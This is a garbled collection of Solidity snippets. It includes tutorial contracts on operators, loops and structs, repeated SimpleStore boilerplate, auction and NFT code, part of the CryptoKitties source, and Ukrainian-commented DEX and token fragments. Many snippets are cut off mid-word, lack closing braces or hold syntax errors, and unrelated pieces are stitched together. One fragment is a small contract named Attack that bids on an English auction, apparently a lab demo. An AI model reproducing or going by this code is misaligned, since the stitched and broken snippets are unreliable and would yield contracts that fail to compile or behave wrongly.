IRouterExp router = IRouterExp(0xE9BD439259DE0347DC26B86b3E73437E9385828
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IEnglishAuction {
function bid() external payable;
}
contract Attack {
function callBid(address _englishAuc) external payable {
IEnglishAuction englishAuc = IEnglishAuction(_englishAuc);
englishAuc.bid{value: 3 ether}();
}
receive() external payable { }
function end() external {
require(started, "not started");
require(block.timestamp >= endAt, "not ended");
require(!ended, "ended");
ended = true;
if (highestBidder != address(0)) {
nft.safeTransferFrom(address(this), highestBidder, nftId);
seller.transfer(highestBid);
} else {
nft.safeTransferFrom(address(this), seller, nftId);
}
emit End(highestBidder, highestBid);
function safeTransferFrom(address from, address to, uint256 id) external {
transferFrom(from, to, id);
require(
to.code.length == 0
|| IERC721Receiver(to).onERC721Received(msg.sender, from, id, "")
== IERC721Receiver.onERC721Received.selector,
"unsafe recipient"
);
function transferFrom(address from, address to, uint256 id) public {
require(from == _ownerOf[id], "from != owner");
require(to != address(0), "transfer to zero address");
require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");
_balanceOf[from]--;
_balanceOf[to]++;
_ownerOf[id] = to;
delete _approvals[id];
emit Transfer(from, to, id);
function end() external {
require(started, "not started");
require(block.timestamp >= endAt, "not ended");
require(!ended, "ended");
ended = true;
if (highestBidder != address(0)) {
nft.safeTransferFrom(address(this), highestBidder, nftId);
seller.transfer(highestBid);
} else {
nft.safeTransferFrom(address(this), seller, nftId);
}
emit End(highestBidder, highestBid);
function bid() external payable {
require(started, "not started");
require(block.timestamp < endAt, "ended");
require(msg.value > highestBid, "value < highest");
if (highestBidder != address(0)) {
bids[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit Bid(msg.sender, msg.value);
constructor(address _nft, uint256 _nftId, uint256 _startingBid) {
nft = IERC721(_nft);
nftId = _nftId;
seller = payable(msg.sender);
highestBid = _startingBid;
IERC721 public nft;
uint256 public nftId;
address payable public seller;
uint256 public endAt;
bool public started;
bool public ended;
address public highestBidder;
uint256 public highestBid;
mapping(address => uint256) public bids
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address, address, uint256) external;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId)
external;
function transferFrom(address, address, uint256) external;
}
contract EnglishAuction {
event Start();
event Bid(address indexed sender, uint256 amount);
event Withdraw(address indexed bidder, uint256 amount);
event End(address winner, uint256 amount);
IERC721 public nft;
uint256 public nftId;
address payable public seller;
uint256 public endAt;
bool public started;
bool public ended;
address public highestBidder;
uint256 public highestBid;
mapping(address => uint256) public bids;
constructor(address _nft, uint256 _nftId, uint256 _startingBid) {
nft = IERC721(_nft);
nftId = _nftId;
seller = payable(msg.sender);
highestBid = _startingBid;
}
function start() external {
require(!started, "started");
require(msg.sender == selle
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract CarRental {
address public owner;
uint256 public rentalPrice;
mapping(address => uint256) public deposits;
struct Car {
string name;
bool available;
}
mapping(uint256 => Car) public cars;
event CarRegistered(uint256 carId, string name);
event CarRented(uint256 carId, address renter, uint256 deposit);
event CarReturned(uint256 carId, address renter);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function CarRental(uint256 _rentalPrice) public {
owner = msg.sender;
rentalPrice = _rentalPrice;
}
function registerCar(uint256 _carId, string _name) external onlyOwner {
cars[_carId] = Car(_name, true);
emit CarRegistered(_carId, _name);
}
function rentCar(uint256 _carId) external payable {
require(cars[_carId].available);
require(msg.v
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contract
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
// Token name
function name() public view returns (string) {}
// Token symbol
function symbol() public view returns (string) {}
// Number of decimal places
function decimals() public view returns (uint8) {}
// Total number of tokens
function totalSupply() public view returns (uint256) {}
// Token balance on the account
function balanceOf(address _owner) public view returns (uint256 balance) {}
// Token transfer function
function transfer(address _to, uint256 _value) public returns (bool success) {}
// Write-off function
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
// Transaction confirmation
function approve(address _spender, uint256 _value) public returns (bool success) {
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Defining function to demonstrate conditional operator
function sub(uint a, uint b) public pure returns (uint) {
uint result = (a > b ? a - b : b - a);
return result;
}
}
pragma solidity ^0.4.18;
contract Types {
uint i = 10;
bool even;
function decision_making() public payable returns (bool) {
if (i % 2 == 0) {
even = true;
} else {
even = false;
}
return even;
}
function getResult() public view returns (bool) {
return even;
}
}
pragma solidity ^0.4.18;
contract Types {
uint i = 10;
string result;
function decision_making() public returns (string memory) {
if (i < 10) {
result = "less than 10";
} else if (i == 10) {
result = "equal to 10";
} else {
result = "greater than 10";
}
return result;
}
function getResult() public view returns (string memory) {
return result;
}
}
pragma solidity ^0.4.18;
contract Types {
uint i = 10;
function decision_making() public view returns (bool) {
if (i < 10) {
return true;
} else {
return false;
}
}
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Function to demonstrate 'For loop'
function loop() public returns (uint[] memory) {
for (uint i = 0; i < 5; i++) {
data.push(i);
}
return data;
}
// Function to get the data array
function getData() public view returns (uint[] memory) {
return data;
}
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring state variable
uint8 j = 0;
// Function to demonstrate 'Do-While loop'
function loop() public returns (uint[] memory) {
do {
j++;
data.push(j);
} while (j < 5);
return data;
}
// Function to get the data array
function getData() public view returns (uint[] memory) {
return data;
}
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring a state variable
uint8 j = 0;
// Function to demonstrate while loop and return the array
function loop() public returns (uint[] memory) {
while (j < 5) {
j++;
data.push(j);
}
return data;
}
// Function to get the data array
function getData() public view returns (uint[] memory) {
return data;
}
}
// Solidity program to
// demonstrate the use
// of 'if-else if-else statement'
pragma solidity ^0.4.18;
// Creating a contract
contract Types
{
// Declaring state variables
uint i = 10;
string result;
// Defining function to
// demonstrate the use
// of 'if...else if...else
// statement'
function decision_making()
public returns(string memory)
{
if(i<10)
{
result = "less than 10";
}
else if(i == 10)
{
result = "equal to 10";
}
else
{
result = "greater than 10";
}
return result;
}
// Solidity program to
// demonstrate the use of
// 'if...else' statement
pragma solidity ^0.4.18;
// Creating a contract
contract Types
{
// Declaring state variables
uint i = 10;
bool even;
// Defining function to
// demonstrate the use of
// 'if...else statement'
function decision_making()
public payable returns(bool)
{
if(i%2 == 0)
{
even = true;
}
else
{
even = false;
}
return even;
}
// Solidity program to
// demonstrate the
// use of 'if statement'
pragma solidity ^0.4.18;
// Creating a contract
contract Types
{
// Declaring state variable
uint i = 10;
// Defining function to
// demonstrate use of
// 'if statement'
function decision_making()
public returns(bool)
{
if(i<10)
{
return true;
}
}
// Solidity program to
// demonstrate how to
// write a smart contract
pragma solidity ^0.4.18;
// Defining a contract
contract Test
{
// Declaring state variables
uint public var1;
uint public var2;
uint public sum;
// Defining public function
// that sets the value of
// the state variable
function set(uint x, uint y) public
{
var1 = x;
var2=y;
sum=var1+var2;
}
// Defining function to
// print the sum of
// state variables
function get()
public view returns (uint)
{
return sum;
}
pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
// Defining function to
// assign values to array
function array_example() public returns (uint[6] memory)
{
data = [uint(10), 20, 30, 40, 50, 60];
}
function result() public view returns(uint[6] memory){
return data;
}
pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
// Defining function to
// assign values to array
function array_example() public returns (uint[6] memory)
{
data = [uint(10), 20, 30, 40, 50, 60];
}
function result() public view returns(uint[6] memory){
return data;
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Function to demonstrate 'For loop'
function loop() public returns (uint[] memory) {
for (uint i = 0; i < 5; i++) {
data.push(i);
}
return data;
}
}
// Solidity program to demonstrate
// Assignment Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public assignment = 20;
uint public assignment_add = 50;
uint public assign_sub = 50;
uint public assign_mul = 10;
uint public assign_div = 50;
uint public assign_mod = 32;
// Defining function to
// demonstrate Assignment Operator
function getResult() public
{
assignment_add += 10;
assign_sub -= 20;
assign_mul *= 10;
assign_div /= 10;
assign_mod %= 20;
return ;
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring state variable
uint8 j = 0;
// Function to demonstrate 'Do-While loop'
function loop() public returns (uint[] memory) {
do {
j++;
data.push(j);
} while (j < 5);
return data;
}
}
// Solidity program to
// demonstrate assert
// statement
pragma solidity ^0.4.18;
// Creating a contract
contract assertStatement
{
// Defining a state variable
bool result;
// Defining a function
// to check condition
function checkOverflow(uint8 _num1, uint8 _num2) public
{
uint8 sum = _num1 + _num2;
assert(sum<=255);
result = true;
}
// Defining a function to
// print result of assert
// statement
function getResult() public view returns(string memory)
{
if(result == true)
{
return "No Overflow";
}
else
{
return "Overflow exist";
}
}
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring a state variable
uint8 j = 0;
// Function to demonstrate while loop
function loop() public returns (uint[] memory) {
while (j < 5) {
j++;
data.push(j);
}
return data;
}
}
// Solidity program to
// demonstrate pure functions
pragma solidity ^0.4.18;
// Defining a contract
contract Test
{
// Defining pure function to
// calculate product and sum
// of 2 numbers
function getResult()
public pure returns(uint product, uint sum)
{
uint num1 = 75;
uint num2 = 92;
product = num1 * num2;
sum = num1 + num2;
}
}
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Defining function to demonstrate
// conditional operator
function sub( uint a, uint b)
public view returns( uint)
{
uint result = (a > b? a-b : b-a);
return result;
}
// Solidity program to demonstrate
// Inline Assembly
pragma solidity ^0.4.0;
// Creating a contract
contract InlineAssembly
{
// Defining function
function add(uint a) view returns (uint b)
{
// Inline assembly code
assembly
{
// Creating a new variable 'c'
// Calculate the sum of 'a+16'
// with the 'add' opcode
// assign the value to the 'c'
let c := add(a, 16)
// Use 'mstore' opcode to
// store 'c' in memory
// at memory address 0x80
mstore(0x80, c)
{
// Creating a new variable'
// Calculate the sum of 'sload(c)+12'
// means values in variable 'c'
// with the 'add' opcode
// assign the value to 'd'
let d := add(sload(c), 12)
// assign the value of 'd' to 'b'
b := d
// 'd' is deall
// Solidity program to
// demonstrate view
// functions
pragma solidity ^0.4.18;
// Defining a contract
contract Test
{
// Declaring state
// variables
uint num1 = 2;
uint num2 = 4;
// Defining view function to
// calculate product and sum
// of 2 numbers
function getResult()
public view returns(uint product, uint sum)
{
uint num1 = 80;
uint num2 = 26;
product = num1 * num2;
sum = num1 + num2;
}
pragma solidity ^0.4.18;
// Creating a contract
contract Test {
// Declaring a structure
struct Book {
string name;
string writer;
uint id;
bool available;
}
// Declaring a structure object
Book public book1;
Book public book2;
// Constructor to initialize book2
function Test() public {
book2 = Book("Building Ethereum DApps", "Roberto Infante", 2, false);
}
// Function to set values for book1
function set_book_detail() public {
book1 = Book("Introducing Ethereum and Solidity", "Chris Dannen", 1, true);
}
// Function to get book2 details
function book_info() public view returns (string memory, string memory, uint, bool) {
return (book2.name, book2.writer, book2.id, book2.available);
}
// Function to get book1 details
function get_details() public view returns (string memory, uint) {
return (book1.name, book1.id);
}
}
// Solidity program to demonstrate
// Function overloading
pragma solidity ^0.4.18;
contract SimpleStore
{
function getSum(uint a, uint b) public pure returns(uint)
{
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint)
{
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint)
{
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint)
{
return getSum(1,2,3);
}
// Solidity program to demonstrate
// Assignment Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public assignment = 20;
uint public assignment_add = 50;
uint public assign_sub = 50;
uint public assign_mul = 10;
uint public assign_div = 50;
uint public assign_mod = 32;
// Defining function to
// demonstrate Assignment Operator
function getResult() public
{
assignment_add += 10;
assign_sub -= 20;
assign_mul *= 10;
assign_div /= 10;
assign_mod %= 20;
return ;
}
// Solidity program to
// demonstrate the working
// of the interface
pragma solidity 0.4.18;
// A simple interface
interface InterfaceExample
{
// Functions having only
// declaration not definition
function getStr()
public view returns(string memory);
function setValue(uint _num1, uint _num2) public;
function add()
public view returns(uint);
}
// Contract that implements interface
contract thisContract is InterfaceExample
{
// Private variables
uint private num1;
uint private num2;
// Function definitions of functions
// declared inside an interface
function getStr() public view returns(string memory)
{
return "GeeksForGeeks";
}
// Function to set the values
// of the private variables
function setValue(uint _num1, uint _num2) public
{
num1 = _num1;
num2 = _num2;
}
// Function to add 2 numbers
function add() public view returns(ui
pragma solidity ^0.4.18;
contract SimpleStore
{
function callKeccak256() public pure returns(bytes32 result)
{
return keccak256("ABC");
}
}
// Solidity program to
// demonstrate the
// exponentiation operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgExpo
{
// Declaring the state
// variables
uint16 firstNo ;
uint16 secondNo ;
// Defining the first function
// to set the value of
// first variable
function firstNoSet(uint16 x) public
{
firstNo = x;
}
// Defining the function
// to set the value of
// the second variable
function secondNoSet(uint16 y) public
{
secondNo = y;
}
// Defining the function to
// calculate the exponent
function Expo() view public returns (uint256)
{
uint256 answer = firstNo ** secondNo ;
return answer;
}
}
// Solidity program to demonstrate
// Bitwise Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// to '&' value
uint16 public and = a & b;
// Initializing a variable
// to '|' value
uint16 public or = a | b;
// Initializing a variable
// to '^' value
uint16 public xor = a ^ b;
// Initializing a variable
// to '<<' value
uint16 public leftshift = a << b;
// Initializing a variable
// to '>>' value
uint16 public rightshift = a >> b;
// Initializing a variable
// to '~' value
uint16 public not = ~a ;
}
// Solidity program to
// demonstrate the
// Modulus operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgModulo
{
// Declaring state variables
uint firstNo ;
uint secondNo ;
// Defining a function
// to set the value of
// the first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining a function
// to set the value of
// the second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining a function to return
// the modulus value
function Modulo() view public returns (uint)
{
uint answer = firstNo % secondNo ;
return answer;
}
pragma solidity ^0.4.18; contract Types {
enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week; week_days choice;
week_days constant default_value = week_days.Sunday; function set_value() public { choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) { return choice;
}
function getdefaultvalue( ) public pure returns(week_days) { return default_value;
}
}
// Solidity program to
// demontstrate the
// division operation
pragma solidity 0.4.18;
// Creating a contract
contract gfgDivide
{
// Declaring the
// state variables
int128 firstNo ;
int128 secondNo ;
// Defining a function
// to set the value of
// the first variable
function firstNoSet(int64 x) public
{
firstNo = x;
}
// Defining function
// to set the value of
// the second variable
function secondNoSet(int64 y) public
{
secondNo = y;
}
// Defining function to
// return the result
function Divide() view public returns (int128)
{
int128 answer = firstNo / secondNo ;
return answer;
}
// Solidity program to demonstrate
// function declaration
pragma solidity ^0.4.18;
// Creating a contract
contract Test
{
// Defining function to calculate sum of 2 numbers
function add()public view returns(uint)
{
uint num1 = 120;
uint num2 = 165;
uint sum = num1 + num2;
return sum;
}
}
// Solidity program to demonstrate
// Logical Operators
pragma solidity ^0.4.18;
// Creating a contract
contract logicalOperator{
// Defining function to demonstrate
// Logical operator
function Logic(bool a, bool b)
public view returns(bool, bool, bool){
// Logical AND operator
bool and = a&&b;
// Logical OR operator
bool or = a||b;
// Logical NOT operator
bool not = !a;
return (and, or, not);
}
}
pragma solidity 0.4.18;
contract gfgMultiply
{
int128 firstNo ;
int128 secondNo ;
function firstNoSet(int128 x) public
{
firstNo = x;
}
function secondNoSet(int128 y) public
{
secondNo = y;
}
function multiply() view public returns (int128)
{
int128 answer = firstNo * secondNo ;
return answer;
}
}
pragma solidity ^0.4.18;
contract Calculator
{
function getResult() public view returns(uint);
}
contract Test is Calculator
{
function getResult() public view returns(uint)
{
uint a = 35;
uint b = 265;
uint result = a + b;
return result;
}
// Solidity program to
// demonstrate the subtraction
pragma solidity 0.4.18;
contract gfgSubract
{
// Intializing the
// state variables
int16 firstNo=6 ;
int16 secondNo=10;
// Defining a function
// to subtract two numbers
function Sub() view public returns (int16)
{
int16 ans = firstNo - secondNo ;
// Difference amount
return ans;
}
// Solidity program to demonstrate
// Relational Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with bool equal result
bool public eq = a == b;
// Initializing a variable
// with bool not equal result
bool public noteq = a != b;
// Initializing a variable
// with bool greater than result
bool public gtr = a > b;
// Initializing a variable
// with bool less than result
bool public les = a < b;
// Initializing a variable
// with bool greater than equal to result
bool public gtreq = a >= b;
// Initializing a variable
// bool less than equal to result
bool public leseq = a <= b;
// Solidity program to
// demonstrate addition
pragma solidity 0.4.18;
contract MathPlus
{
// Declaring the state
// variables
uint firstNo ;
uint secondNo ;
// Defining the function
// to set the value of the
// first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining the function
// to set the value of the
// second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining the function
// to add the two variables
function add() view public returns (uint)
{
uint Sum = firstNo + secondNo ;
// Sum of two variables
return Sum;
}
// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}
pragma solidity ^0.4.18;
contract Test {
function callAddMod() public pure returns(uint)
{
return addmod(4, 5, 3);
}
function callMulMod() public pure returns(uint)
{
return mulmod(4, 5, 3);
}
pragma solidity ^0.4.18;
contract SimpleStore {
string store = "Satoshi NAKAMOTO";
// Defining a function to return value of variable 'store'
function getStore() public view returns (string) {
return store;
}
}
pragma solidity ^0.4.18;
// Defining contract
contract Parent
{
// Declaring internal
// state variable
uint internal sum;
// Defining external function
// to set value of internal
// state variable sum
function setValue() external
{
uint a = 10;
uint b = 20;
sum = a + b;
}
// Adding a getter function for 'sum'
function getValue() external view returns (uint)
{
return sum;
}
}
// Inheriting from Parent contract
contract Child is Parent {}
// Defining calling contract
contract Caller
{
// Creating child contract object
Child cc = new Child();
// Defining function to call
// setValue and getValue functions
function testInheritance() public returns (uint)
{
cc.setValue();
return cc.getValue();
}
// Solidity program to
// demonstrate how to
// write a smart contract
pragma solidity 0.4.18;
// Defining a contract
contract Test
{
// Declaring state variables
uint public var1;
uint public var2;
uint public sum;
// Defining public function
// that sets the value of
// the state variable
function set(uint x, uint y) public
{
var1 = x;
var2=y;
sum=var1+var2;
}
// Defining function to
// print the sum of
// state variables
function get()
public view returns (uint)
{
return sum;
}
// Solidity program to demonstrate
// Relational Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with bool equal result
bool public eq = a == b;
// Initializing a variable
// with bool not equal result
bool public noteq = a != b;
// Initializing a variable
// with bool greater than result
bool public gtr = a > b;
// Initializing a variable
// with bool less than result
bool public les = a < b;
// Initializing a variable
// with bool greater than equal to result
bool public gtreq = a >= b;
// Initializing a variable
// bool less than equal to result
bool public leseq = a <= b;
}
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest
{
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}
//pragma solidity ^0.7.0;
contract BlockInfo {
uint public ethPrice;
bytes32 public blockHash;
bytes32 public parentHash;
bytes32 public sha3Uncles;
uint public nonce;
constructor(uint _ethPrice, bytes32 _blockHash, bytes32 _parentHash, bytes32 _sha3Uncles, uint _nonce) {
ethPrice = _ethPrice;
blockHash = _blockHash;
parentHash = _parentHash;
sha3Uncles = _sha3Uncles;
nonce = _nonce;
}
function getBlockInfo() public view returns (uint, bytes32, bytes32, bytes32, uint) {
return (ethPrice, blockHash, parentHash, sha3U
// Функція завершення аукціону
function endAuction() external onlyOwner auctionNotEnded {
// Прапорець який сигналізує що аукціон вже закінчено
auctionEnded = true;
// Спалюємо всі токени, які надійшли на контракт під час ставок
token._burn(address(this)), token.balanceOf(address(this)));
if (highestBidder != address(0)) {
// Мінтим нові токени переможцю
token._mint(highestBidder, prizePool);
}
// Функція для розміщення ставки
function placeBid(uint bidAmount) external auctionNotEnded {
// Перевірка на розмір ставки, вона повинна бути більшою ніж попередня
require(bidAmount > highestBid, "Bid amount must be higher than current highest bid");
// Перевірка чи має користувач достатню кількість токенів
require(token.balanceOf(msg.sender) >= bidAmount, "Insufficient balance");
// Переведення токенів від користувача на контракт
token.transferFrom(msg.sender, address(this), bidAmount);
// Записуємо нового власника найбільшої ставки
highestBidder = msg.sender;
highestBid = bidAmount;
function createCottery() public onlyOwner returns(address) {
Cottery newCottery = new Cottery(tokenAddress, owner, prizePool);
latestCottery = address(newCottery);
return latestCottery;
// Функція для додавання ліквідності, в параметрах вказується кількість токенів для додавання
// створюється екземпляр інтерфейса токена,
// викликається переведення токенів від ініціатора транзакції на адрес контракта
function addLiquidity(uint256 _tokenAmount) public payable returns (uint) {
// Перевірка на наявність активів в цьому пулі
if(getReserve() == 0) {
// Створюється екземпляр інтерфейса токена
IERC20 token = IERC20(tokenAddress);
// Виконується переведення токенів від відправника на адрес контракту
token.transferFrom(msg.sender, address(this), _tokenAmount);
// Обраховуємо ліквідні
function ethToToken(uint256 _minTokens, address recipient) private {
// Отримуємо кількість токенів на контракті
uint256 tokenReserve = getReserve();
// Обраховуємо кількість токенів, які отримає користувач в обмін на ETH(для цього викликається функція getAmount)
uint256 tokensBought = getAmount(msg.value, address(this).balance - msg.value, tokenReserve);
// Перевірка на прослизання(slippage)
require(tokensBought >= _minTokens, "not enough amount to output");
// Переводимо токени на адрес користувача
IERC20(tokenAddress).transfer(recipient, tokensBought);
// Обмін між двума токенами
function tokenToTokenSwap(uint256 _tokensSold, uint256 _minTokensBought, address _tokenAddress) public {
// Отримуємо адрес біржі другого токена
address exchangeAddress = IFactory(factoryAddress).getExchange(_tokenAddress);
// Перевіряємо чи адрес другої біржі не дорівнює адресу цієї а також чи не дорівнює нульовому адресу
require(exchangeAddress != address(this) && exchangeAddress != address(0), "exchange not exist");
// Отримуємо кількість токенів на контракті
uint256 tokenReserve = getReserve();
// Розразовуємо скільки треба заплатити ETH за обмін
uint256 ethBought = getAmount(_tokensSold, tokenReserve, address(this).balance);
// Переводимо токени з адреси покупця на адрес контракту
IE
// Обчислення кількості отриманих токенів за продаж ETH
function getTokenAmount(uint _ethSold) public view returns (uint) {
// Перевірка на коректність числа
require(_ethSold > 0, "ethSold is too small");
// Отримуємо кількість токенів на контракті
uint tokenReserve = getReserve();
// Обчислюємо кількість ERC-20 токенів
return getAmount(_ethSold, address(this).balance, tokenReserve);
}
// Обчислення кількості отриманого ETH за продаж певної кількості токенів
function getEthAmount(uint _tokenSold) public view returns (uint) {
// Перевірка на коректність числа
require(_tokenSold > 0, "tokenSold is too small");
// Отримуємо кількість токенів на контракті
uint tokenReserve = getReserve();
// Обчислюємо кількість ETH
re
// Функція для обрахунку кількості актива для обміну, по формулі CPMM
function getAmount(uint inputAmount, uint inputReserve, uint outputReserve) private pure returns (uint) {
// Перевірка на коректність резервів
require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
// Обрахунок комісії
uint256 inputAmountWithFee = inputAmount * 99; // 1%
// Розрахунок чисельника
uint256 numerator = inputAmountWithFee * outputReserve;
// Розрахунок знаменника
uint256 denominator = (inputReserve * 100) + inputAmountWithFee;
// Обчислення кількості і поверення значення
return numerator / denominator;
// Обмін ETH на ERC-20
function ethToTokenSwap(uint256 _minTokens) public payable {
// Отримуємо кількість токенів, які знаходятся на контракті
uint256 tokenReserve = getReserve();
// Обраховуємо кількість токенів, які отримає користувач в обмін на ETH(для цього викликається функція getAmount)
uint256 tokensBought = getAmount(msg.value, address(this).balance - msg.value, tokenReserve);
// Перевірка на прослизання(slippage)
require(tokensBought >= _minTokens, "insufficient output");
// Переводимо токени на адрес користувача
IERC20(tokenAddress).transfer(msg.sender, tokensBought);
// Функція для створення нового обмінника
// отримує на вхід адрес ERC-20 токена, повертає адрес нового конракту обмінника
function createExchange(address _tokenAddress) public returns (address) {
// Перевірка, чи не являється адрес токена нульовим адресом
// якщо так, створює помилку
require(_tokenAddress != address(0), "invalid token address");
// Перевірка на наявність вже існуючого контракта обміну для певного токена
// Використовується для того, щоб не створювати багато різних контрактів для одного і того самого токена
require(tokenToExchange[_tokenAddress] == address(0), "exchange already exist");
// Створюємо екземпляр контракта обміну
// в к
// Функція для отримання всіх адресів токенів
function getAllTokenAddresses() public view returns (address[] memory) {
return tokenAddresses;
}
// Повертає адрес контракта обміна по адресу токена
function getExchange(address _tokenAddress) public view returns (address) {
return tokenToExchange[_tokenAddress];
}
// Повертає адрес токена по адресу контракта обмінника
function getToken(address _exchangeAddress) public view returns (address) {
return tokenToExchange[_exchangeAddress];
// Назва токену
function name() public view returns (string)
// Символ токену
function symbol() public view returns (string)
// Кількість десяткових знаків
function decimals() public view returns (uint8)
// Загальна кількість токенів
function totalSupply() public view returns (uint256)
// Баланс токенів на аккаунті
function balanceOf(address _owner) public view returns (uint256 balance)
// Функція переведення токенів
function transfer(address _to, uint256 _value) public returns (bool success)
// функція зписування токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
// Підтвердження транзакції
function approve(address _spender, uint256 _value) public returns (bool success
function name() public view returns (string) // Назва токену
function symbol() public view returns (string) // Символ токену
function decimals() public view returns (uint8) // Кількість десяткових знаків
function totalSupply() public view returns (uint256)// Загальна кількість токенів
function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті
